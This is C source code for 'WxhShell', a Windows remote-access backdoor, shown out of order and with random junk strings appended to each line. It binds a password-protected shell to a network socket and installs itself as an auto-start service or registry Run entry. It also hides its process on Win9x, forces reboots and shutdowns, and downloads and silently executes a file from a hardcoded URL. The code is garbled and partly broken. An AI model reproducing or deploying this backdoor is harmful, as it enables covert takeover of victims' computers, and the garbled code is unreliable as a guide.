    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $kBcnk  
    else { <~zPt&C]V  
    closesocket(wsh); :n,x?bM  
    ExitThread(0); .dsB\ C  
    } v Q51-.g  
    break; BB imP  
    } #~ZaN;u  
  // 关机 s+E: 7T9P  
  case 'd': { bT MgE Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5KTPlqm0qF  
    if(Boot(SHUTDOWN)) 6[,7g&C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @77+K:9I 7  
    else { $ZkT G  
    closesocket(wsh); i`w)dS  
    ExitThread(0); Xc$Zkfmms  
    } w!jY(WK U  
    break; PlR$s  
    } e5d STc`  
  // 获取shell {dYz|O<  
  case 's': { $;rvKco)%  
    CmdShell(wsh); W[:CCCDL  
    closesocket(wsh); `<-/e%8  
    ExitThread(0); <k 'zz:[c!  
    break; 4BZ7R,m#.  
  } S1#5oy2  
  // 退出 c8Nl$|B  
  case 'x': { Nw '$r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q^8/"aV\  
    CloseIt(wsh); 8@/MrEOW#  
    break; FXul u6"SX  
    } gwbV$[.X  
  // 离开 Z*'<9l_1  
  case 'q': { |G/U%?`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C]&/k_k  
    closesocket(wsh); 3Ww 37V>h  
    WSACleanup(); -<:w{cV  
    exit(1); 85USMPF  
    break; *D67&/g.  
        } A 8g_BLj!e  
  } qJE_4/<^!  
  } bg5i+a,?  
QO:Z8{21So  
  // 提示信息 [X7gP4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ??f,(om  
} 1a mEQ  
  } ~UHjc0  
Uy|Tu~  
  return; ;Sfe.ky @6  
} 0mNL!"  
$/ g<h  
// shell模块句柄 DOOF--ua  
int CmdShell(SOCKET sock) KquuM ]5S  
{ .Rt~d^D@  
STARTUPINFO si; ix"BLn]YZ  
ZeroMemory(&si,sizeof(si)); w '9!%mr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7\N }QP0"u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y`3\Z6KlV  
PROCESS_INFORMATION ProcessInfo; [+L!c}#  
char cmdline[]="cmd"; RKZBI?@4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i-9W8A  
  return 0; fmD~f  
} +BDW1%  
$)$_}^.k  
// 自身启动模式 I+( b!(H  
int StartFromService(void) WcY$=\7  
{ P)Rq\1:  
typedef struct Q.fUpa v  
{ Q5A,9ovNZ  
  DWORD ExitStatus; G'`^U}9V\  
  DWORD PebBaseAddress; "gFw:t"VV  
  DWORD AffinityMask;  uAs!5h  
  DWORD BasePriority; l[u17,]S  
  ULONG UniqueProcessId; 8@b`a]lgrd  
  ULONG InheritedFromUniqueProcessId; putRc??o;  
}   PROCESS_BASIC_INFORMATION; ui-]%~  
^CgN>-xZ?#  
PROCNTQSIP NtQueryInformationProcess; 9Vl}f^Gn  
ky&wv+7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #=)!\   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dc0&*/`:  
^rd%{ 6m  
  HANDLE             hProcess; K{,'%|  
  PROCESS_BASIC_INFORMATION pbi; Vl3-cW@p  
Z>l|R C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @6Lp $w  
  if(NULL == hInst ) return 0; W)'*Dcd  
xm5?C>vu(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +d?|R5{3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KyQTrl.qdl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5$Kd<ky  
DWEDL[{  
  if (!NtQueryInformationProcess) return 0; lEw;X78+  
zeq")A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^Ku]8/ga  
  if(!hProcess) return 0; l`uMtv/Wp  
yo(MJ^=d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X|&H2y|*7  
n^b CrvD  
  CloseHandle(hProcess); 0FLCN!i1  
>?_}NZ,y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y^[t3XA6Q  
if(hProcess==NULL) return 0; 9_4(}|"N|  
3t9CN )*  
HMODULE hMod; cucmn*o?  
char procName[255]; V7`vLs-  
unsigned long cbNeeded; sAPQbTSM  
1wH6 hN,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^>>9?  
,F*HZBNFZ  
  CloseHandle(hProcess); A,xPA  
5%4yUd#b  
if(strstr(procName,"services")) return 1; // 以服务启动 ng~LCffpY  
Z"qJil}  
  return 0; // 注册表启动 ^Bo'87!.  
} +FAxqCkA  
nLmF5.&  
// 主模块 o4OB xHKy  
int StartWxhshell(LPSTR lpCmdLine) <6s@eare8  
{ @2mWNYHR*>  
  SOCKET wsl; rA^=;?7Q  
BOOL val=TRUE; ?6>*mdpl  
  int port=0; 4q:8<*W=  
  struct sockaddr_in door; J}+N\V~  
;(jL`L F  
  if(wscfg.ws_autoins) Install(); }K`KoM  
j8 `7)^  
port=atoi(lpCmdLine); UbGnU_}  
}_F:]lI*R  
if(port<=0) port=wscfg.ws_port; hW9!  
d[5v A/8O  
  WSADATA data; [La}h2gz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D?8(n=#[  
x%9Ca)r?}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    zY7M]Az  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q`NdsS2  
  door.sin_family = AF_INET; :WsHP\r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /Oi(5?Jn  
  door.sin_port = htons(port); Z {:;LC  
GU9G5S.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PIXqd,  
closesocket(wsl); 4mKH |\g  
return 1; `rK@> -  
} {\NBNg(Vo  
k Jw Pd;%  
  if(listen(wsl,2) == INVALID_SOCKET) { PkZ1Db  
closesocket(wsl); b:r8r}49  
return 1; e@;'#t  
} 3$Vx8:Rhdn  
  Wxhshell(wsl); -ah)/5j  
  WSACleanup(); S:Jg#1rww-  
]=ZPSLuEm%  
return 0; 'h 7x@[|  
,3c25.,*  
} /er{sKVX<  
Q[aF"5h%  
// 以NT服务方式启动 yPe9KN_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6V ncr}  
{ Dgc6rv#  
DWORD   status = 0; [s\8@5?E  
  DWORD   specificError = 0xfffffff; ^$C&{%  
:VWN/m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |(TEG.<g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y2'HP)tfIw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rBU)@IpDG  
  serviceStatus.dwWin32ExitCode     = 0; .qKfhHJ  
  serviceStatus.dwServiceSpecificExitCode = 0; o8H\l\(  
  serviceStatus.dwCheckPoint       = 0; 98| v.d  
  serviceStatus.dwWaitHint       = 0; FGie*t  
+'iqGg-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $aB`A$'hK  
  if (hServiceStatusHandle==0) return; oM^vJ3  
Q4*{+$A  
status = GetLastError(); &/2+'wCp5  
  if (status!=NO_ERROR) "L`BuAB  
{ DfU= i'R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !fd>wvJ,:  
    serviceStatus.dwCheckPoint       = 0; 0VNpd~G$  
    serviceStatus.dwWaitHint       = 0; gR gB= C{  
    serviceStatus.dwWin32ExitCode     = status; #8 ^b]  
    serviceStatus.dwServiceSpecificExitCode = specificError; -sdzA6dp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gd`7Tf)'  
    return; YlT&.G  
  } 2TQZu3$c  
%X^qWKix}m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oR!h eCnu  
  serviceStatus.dwCheckPoint       = 0; lq]8zm<\)]  
  serviceStatus.dwWaitHint       = 0; M;'GnGFf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {QmK4(k?|c  
} *93=}1gN  
^'du@XCf}  
// 处理NT服务事件,比如:启动、停止 w8j pOvj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <HTz  
{ pDJN}XtjT  
switch(fdwControl) 6R8>w,  
{ :;hX$Qz  
case SERVICE_CONTROL_STOP: 1Z;cb0:  
  serviceStatus.dwWin32ExitCode = 0; =sv?))b`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Nu3IYS5&  
  serviceStatus.dwCheckPoint   = 0; T-GvPl9ZJw  
  serviceStatus.dwWaitHint     = 0; cTn (Tv9s  
  { VAjl?\}6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {q+gm1iC  
  } .@EzHe ^W  
  return; :?= 1aiS  
case SERVICE_CONTROL_PAUSE: JY"J}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @jjxgd'%&  
  break; 92R,o'#  
case SERVICE_CONTROL_CONTINUE: F7w\ctUP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6(t'B!x  
  break; CS*lk!C  
case SERVICE_CONTROL_INTERROGATE: [`E_/95  
  break; -|s% 5p|  
}; {~R?f$}""j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _D@QsQ_Z  
} } _];yw  
Wd(|w8J{a  
// 标准应用程序主函数 \fSruhD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vN@04a\h  
{ N+5f.c+S-  
{R[V  
// 获取操作系统版本 RhT:]  
OsIsNt=GetOsVer(); ;14Q@yrZ0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fhR u-  
(E 8jkc  
  // 从命令行安装 :RZ'_5P[If  
  if(strpbrk(lpCmdLine,"iI")) Install(); "\rO}(gC;`  
{M=B5-  
  // 下载执行文件 B-L@ 0gH  
if(wscfg.ws_downexe) { Q>;Aq!mr=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W>Pcj EI  
  WinExec(wscfg.ws_filenam,SW_HIDE); zL50|U0H  
} d!Ws-kzE  
Yt:%)&50}-  
if(!OsIsNt) {  r3OtQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 `*yOc6i]  
HideProc(); _Gb 7n5p  
StartWxhshell(lpCmdLine); ,1!Y!,xy  
} W np[8IEU  
else .wWf#bB  
  if(StartFromService()) 8@rF~^-_  
  // 以服务方式启动 .#a7?LUH  
  StartServiceCtrlDispatcher(DispatchTable); |a /cw"  
else %iYro8g!,  
  // 普通方式启动 +!`$(  
  StartWxhshell(lpCmdLine); Ln+ k_  
*!Gb_!98  
return 0; \k6OP  
} 4\ )WMP  
MIZ!+[At  
[xGL0Z%)t  
^ yF Wvfh4  
=========================================== :x3DuQP  
i?#U>0!  
I{H!K rM!  
&Q\k`0vzVB  
[Q6$$z92Q  
7~P!Z=m^^f  
" $gk=~p|  
Aq(,  
#include <stdio.h> 6"rS?>W/mO  
#include <string.h> FcOrA3tt  
#include <windows.h> #L*MMC"  
#include <winsock2.h> [5M!'  
#include <winsvc.h> VzcW9'"#  
#include <urlmon.h> /z)8k4  
,g|ht%"  
#pragma comment (lib, "Ws2_32.lib") eUgKwu;  
#pragma comment (lib, "urlmon.lib")  %\B?X;(  
y|9 LtQ  
#define MAX_USER   100 // 最大客户端连接数 G&M)n*o  
#define BUF_SOCK   200 // sock buffer >%_i#|dE>  
#define KEY_BUFF   255 // 输入 buffer ]i `~J  
,s@S`KS0  
#define REBOOT     0   // 重启 chE}`I?  
#define SHUTDOWN   1   // 关机 P;&U3i  
NX]6RZr-  
#define DEF_PORT   5000 // 监听端口 (15.?9  
F:0 E- z'  
#define REG_LEN     16   // 注册表键长度 (~b0-3s  
#define SVC_LEN     80   // NT服务名长度 jt9@aN.mJN  
OQyZ'  
// 从dll定义API 3A\Hiy!{F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Lr"`OzDz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I;P!   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $"=0{H.?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w %6 L"  
Fy_~~nI0  
// wxhshell配置信息 ??P3gA  
struct WSCFG { (51;cj>J  
  int ws_port;         // 监听端口 IUh)g1u41O  
  char ws_passstr[REG_LEN]; // 口令 n.P $E  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ye  >+  
  char ws_regname[REG_LEN]; // 注册表键名 )$2h:dw_  
  char ws_svcname[REG_LEN]; // 服务名 g%4=T~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n0^3F1Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [ID#P Ule  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G#'G9/Tm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *vzj(HGO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k.H4Mf(4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C\ cZ  
zfGr1;  
}; a-5#8  
gkx<<)y l  
// default Wxhshell configuration ve(@=MJ  
struct WSCFG wscfg={DEF_PORT, e#tWQM3  
    "xuhuanlingzhe", y#lg)nB  
    1, w /CD-  
    "Wxhshell", 9v}vCg  
    "Wxhshell", "fd'~e$S#  
            "WxhShell Service", 7{=+Va5  
    "Wrsky Windows CmdShell Service", !/e8x;_  
    "Please Input Your Password: ", r`:dUCFE  
  1, t@`Sa<  
  "http://www.wrsky.com/wxhshell.exe",  <>=abgg  
  "Wxhshell.exe" twPD'X!r  
    }; TiI3<.a!  
.ldBl  
// 消息定义模块 piPV&ytI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k,[[ CZ0j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FWyfFCK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #~qY%X  
char *msg_ws_ext="\n\rExit."; 9z?B@;lMc  
char *msg_ws_end="\n\rQuit."; FzFP 0  
char *msg_ws_boot="\n\rReboot..."; bLz('mUY  
char *msg_ws_poff="\n\rShutdown..."; v,c:cKj  
char *msg_ws_down="\n\rSave to "; `%0k\,}V  
8uetv  
char *msg_ws_err="\n\rErr!"; ,aSK L1  
char *msg_ws_ok="\n\rOK!"; sRGIHT#  
V"sm+0J  
char ExeFile[MAX_PATH]; 5U JMiwP{  
int nUser = 0; <d3N2  
HANDLE handles[MAX_USER]; I%ZSh]On  
int OsIsNt; M0RVEhX  
B+=Xb;p8  
SERVICE_STATUS       serviceStatus; Q .cL1uHc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T7 XbbU  
D4QL lP  
// 函数声明 ZL- ` 3x  
int Install(void); uy=E92n3  
int Uninstall(void); 1Q??R }  
int DownloadFile(char *sURL, SOCKET wsh); +0n,>eDjg^  
int Boot(int flag); d7L|yeb"  
void HideProc(void); At8^yF   
int GetOsVer(void); 6b=7{nLF  
int Wxhshell(SOCKET wsl); >zcp(M98  
void TalkWithClient(void *cs); ,6^V)F  
int CmdShell(SOCKET sock); e&XJK*Wf   
int StartFromService(void); %0Ke4c  
int StartWxhshell(LPSTR lpCmdLine); T9Pu V  
? `#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WLN;LT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SV_b(wP9  
14rX:z  
// 数据结构和表定义 %;tBWyq}_  
SERVICE_TABLE_ENTRY DispatchTable[] = u=!n9W~"  
{ e{IwFX  
{wscfg.ws_svcname, NTServiceMain}, IgtTYxI  
{NULL, NULL} J k FZd  
}; U^xtS g  
YH$whJ`W0  
// 自我安装 w,zgYX&  
int Install(void) KH76Vts  
{ WEugm603  
  char svExeFile[MAX_PATH]; ,[ M^rv  
  HKEY key; P}bwEj  
  strcpy(svExeFile,ExeFile); tp=/f !bv  
WEB enGQ  
// 如果是win9x系统,修改注册表设为自启动 u69s}yZ  
if(!OsIsNt) { *Mr'/qp,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5JRj'G0I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l( 0:CM  
  RegCloseKey(key); G[[<-[C]5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FPXB>D'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yM*< BV  
  RegCloseKey(key); $iAd)2LT  
  return 0; _^u^@.Q'i<  
    } 8AVG pL  
  } W&Gt^5  
} &Kc'g H  
else { u}IQ)Ma  
5QJ FNE  
// 如果是NT以上系统,安装为系统服务 BpZ17"\z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @k,}>Tk  
if (schSCManager!=0) p3z%Y$!Tm  
{ N"o+;yR  
  SC_HANDLE schService = CreateService @)p?!3{"  
  ( O_ /|Wx  
  schSCManager, ~l>2NY  
  wscfg.ws_svcname, ,*'aH z  
  wscfg.ws_svcdisp, #`{L_n$c  
  SERVICE_ALL_ACCESS, j+>&~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H;rLU9b  
  SERVICE_AUTO_START, 5X"WgR;  
  SERVICE_ERROR_NORMAL, 23WlUM  
  svExeFile, b&Go'C{p  
  NULL, (J/!9NS:  
  NULL, 9$:+5f,%a  
  NULL, F {T\UX  
  NULL, Gf1O7L1rX  
  NULL DFFB:<  
  ); {oc7Chv=/H  
  if (schService!=0) 23=SXA!  
  { ZpQ8KY$ 5  
  CloseServiceHandle(schService); 04cNi~@m  
  CloseServiceHandle(schSCManager); r:uW(<EP^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Di8;Tq  
  strcat(svExeFile,wscfg.ws_svcname); \mp5G&+/Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [xsiSt?6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iKN800^u  
  RegCloseKey(key); 8 |iMD1  
  return 0; sz+Uq]Mn  
    } VyL|d^'f_  
  } J?N9*ap)  
  CloseServiceHandle(schSCManager); o@g/,V $  
} s.G6?1VXlY  
} jW!)5(B[A  
&SE+7HXw  
return 1; 5!)_" u3  
} oc3}L^aD  
(N25.}8Y  
// 自我卸载 '=eE6=m^K  
int Uninstall(void) N`%f+eT(  
{ Um'r6ty  
  HKEY key; !4l\*L  
``4lomz>  
if(!OsIsNt) { xg2 &  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M,b^W:('4  
  RegDeleteValue(key,wscfg.ws_regname); ,HM~Zs  
  RegCloseKey(key); [r5k8TB1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <"XDIvpc%L  
  RegDeleteValue(key,wscfg.ws_regname); F"M$ "rC]  
  RegCloseKey(key); +O,h<* y  
  return 0; !%{s[eO\  
  } ^U4|TR6mub  
} Z6vm!#\  
} @|GKNW#  
else { d~b#dcv$"  
P?P))UB5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ho:X.Z9A^  
if (schSCManager!=0) !1\j D  
{ T{%'"mm;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d(-$ { c  
  if (schService!=0) |6.1uRFE2  
  { : 'LG%E:b  
  if(DeleteService(schService)!=0) { =wy3h0k^  
  CloseServiceHandle(schService); ^."HD(  
  CloseServiceHandle(schSCManager); c_r&)8  
  return 0; /Aq):T T  
  } {? dW-  
  CloseServiceHandle(schService); _ooSMp|  
  } MjHjL~Tg  
  CloseServiceHandle(schSCManager); #)xg$9LQb  
} GI:$(<  
} *jF VYg  
*t+E8)qL  
return 1; CxOBH89(  
} HBFuA.",  
=_L  
// 从指定url下载文件 8/y~3~A{D  
int DownloadFile(char *sURL, SOCKET wsh) }w)`)N  
{ pH1 9"=p<  
  HRESULT hr; 20t</lq.  
char seps[]= "/"; /:}z*a  
char *token; ohA@Zm8O  
char *file; c.\J_^  
char myURL[MAX_PATH]; fii\&p7z  
char myFILE[MAX_PATH];  Dy[ YL  
F^]?'`7md  
strcpy(myURL,sURL); cs%NsnZ  
  token=strtok(myURL,seps); '0xJp|[xVP  
  while(token!=NULL) (Q$]X5L  
  { } bs2Rxkh  
    file=token; cCjpQ  
  token=strtok(NULL,seps); m9Uoq[1  
  } E+&]96*Lby  
ew n/@;E  
GetCurrentDirectory(MAX_PATH,myFILE); ",ic" ~  
strcat(myFILE, "\\"); Nv iPrp>c  
strcat(myFILE, file); ZREAEGi{  
  send(wsh,myFILE,strlen(myFILE),0); H5N(MihT  
send(wsh,"...",3,0); dIo|i,-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nAp7X-t  
  if(hr==S_OK) 4D/mm(2d$  
return 0; >)N}V'9  
else Lz VvUVk  
return 1; RhJL`>W`  
2,>q(M6,EA  
} %V$ujun`  
3o'SY@'W  
// 系统电源模块 rGZ@pO2  
int Boot(int flag) IP1|$b}sq  
{ C3%,pDh  
  HANDLE hToken; Te{L@sj  
  TOKEN_PRIVILEGES tkp; ^j2:fJOU#  
IpxFME%!  
  if(OsIsNt) { 7<=7RPWmD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i#jCf3%+ h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^saJfr x  
    tkp.PrivilegeCount = 1;  5m+:GiI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; / N@0qQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pg~`NN  
if(flag==REBOOT) { } V4"-;P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Pc]c8~  
  return 0; Kg@9kJB  
} n#N<zC/  
else { ;e0>.7m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +{/zP{jH  
  return 0; r,6~?hG]  
} K@{jY\AZNx  
  } !UUh7'W4u  
  else { @T1 >%oi  
if(flag==REBOOT) { v] *W*;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -}UC daQ3  
  return 0; Iw"?%k\U  
} H[x9 7r  
else { ji( S ?^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D0QXvrf  
  return 0; t:M({|m Y  
} sI`i  
} U hCd,  
Smk]G))o{  
return 1; :;" 3k64  
} ,`|KN w5  
d*3R0Q|#{  
// win9x进程隐藏模块 ? =IbiT  
void HideProc(void) -T{~m6  
{ gr=ke #   
hJ:Hv.{`)W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p,D/ Pb8  
  if ( hKernel != NULL ) ]?)zH:2)  
  { PJ Air8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }qz58]fyx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;T52 aX  
    FreeLibrary(hKernel); .: 7h=neEW  
  } 7*XG]=z/  
3F}d,aB A  
return; F{T|lTl  
} 9/s-|jD  
/gFyow1W  
// 获取操作系统版本 6}ax~wYct  
int GetOsVer(void) uR"]w7=  
{ +[2lS54"W4  
  OSVERSIONINFO winfo; 00pHnNoxW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1shvHmrV  
  GetVersionEx(&winfo); !#iP)"O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hG us!p"lw  
  return 1; db%`- UST  
  else P6=|C;[  
  return 0; 5. l&nt'  
} q>omCk%h  
|J}~a8o  
// 客户端句柄模块 3\@6i'  
int Wxhshell(SOCKET wsl) [1vrv(u>  
{ NM]6  o  
  SOCKET wsh; I3s}t$`y(  
  struct sockaddr_in client; 8'cDK[L  
  DWORD myID; 3YT _GW{  
'ZDa*9nkF  
  while(nUser<MAX_USER) eB]ZnJ2^=  
{ xEiW]Eo  
  int nSize=sizeof(client); xU rfH$$!`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;8 b f5  
  if(wsh==INVALID_SOCKET) return 1; n6uobo-  
f:utw T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E_yh9lk  
if(handles[nUser]==0) &FanD   
  closesocket(wsh); ?y04g u6p  
else :!A@B.E  
  nUser++; TOuFFR  
  } W4YC5ZH{l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R\+$^G}#6  
q{_buTARq  
  return 0; lp]O8^][&  
} ?)PcYrV  
uw<Ruy  
// 关闭 socket /n_HUY  
void CloseIt(SOCKET wsh) Y.C*|p#  
{ LQQhn{[D  
closesocket(wsh); o4Ba l^=[  
nUser--; W@0(Y9jdg  
ExitThread(0); '",5Bu#C  
} 0CN .gu  
W4|;JmT.r  
// 客户端请求句柄 QWP_8$Q  
void TalkWithClient(void *cs) igQyn|  
{ =Tj0dfO|"  
n_+Iw,a'm  
  SOCKET wsh=(SOCKET)cs; <St`"H  
  char pwd[SVC_LEN]; (HJ60Hj  
  char cmd[KEY_BUFF]; O0I/^  
char chr[1]; ,#m\W8j  
int i,j; x-W0 h  
C'$U1%: j  
  while (nUser < MAX_USER) { CRf^6k_;(  
{M$8V~8D  
if(wscfg.ws_passstr) { %q!nTG U~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @rdC/=Y[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fAm2ls7c  
  //ZeroMemory(pwd,KEY_BUFF); PQs9@]w[  
      i=0; Ar$LA"vu4  
  while(i<SVC_LEN) { P6?Q;-\q0  
w7W-=\Hvh  
  // 设置超时 #nd,cn  
  fd_set FdRead; _8`|KY  
  struct timeval TimeOut; X3>(K1  
  FD_ZERO(&FdRead); bC{~/ JP  
  FD_SET(wsh,&FdRead); ?:2Xh/8-  
  TimeOut.tv_sec=8; u J$"2<O  
  TimeOut.tv_usec=0; SW=p5@Hy{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f ;Dz(~ hw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XU54skN  
93rE5eGs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8;5/_BwMu  
  pwd=chr[0]; {F4:  
  if(chr[0]==0xd || chr[0]==0xa) { g$97"d'  
  pwd=0;  5-J-Tn  
  break; ~+g5?y  
  } 7 D^A:f  
  i++; BKTsc/v2>:  
    }  e?7paJ  
prWid3}  
  // 如果是非法用户,关闭 socket a"zoDD/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g$tW9 Q  
} BCj&z{5"7e  
 ?b0\[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,)RdXgCs  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B+<k,ad  
Q9'p2@Z  
while(1) { OwEz( pj@  
pqe tYu  
  ZeroMemory(cmd,KEY_BUFF); 4M]8po/;  
)<|TEp4r-  
      // 自动支持客户端 telnet标准   Q&J,"Vxw  
  j=0; : ?V;  
  while(j<KEY_BUFF) { ?-f>zx8O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Cr` 0C  
  cmd[j]=chr[0]; Yc$|"to  
  if(chr[0]==0xa || chr[0]==0xd) { )0Lq>6j9  
  cmd[j]=0; 2Ar<(v$  
  break; f.= E.%  
  } (X9V-4  
  j++; 40<&0nn  
    } u%pief  
8%4`Yj=  
  // 下载文件 >&VL2xLy  
  if(strstr(cmd,"http://")) { %L/=heBBd  
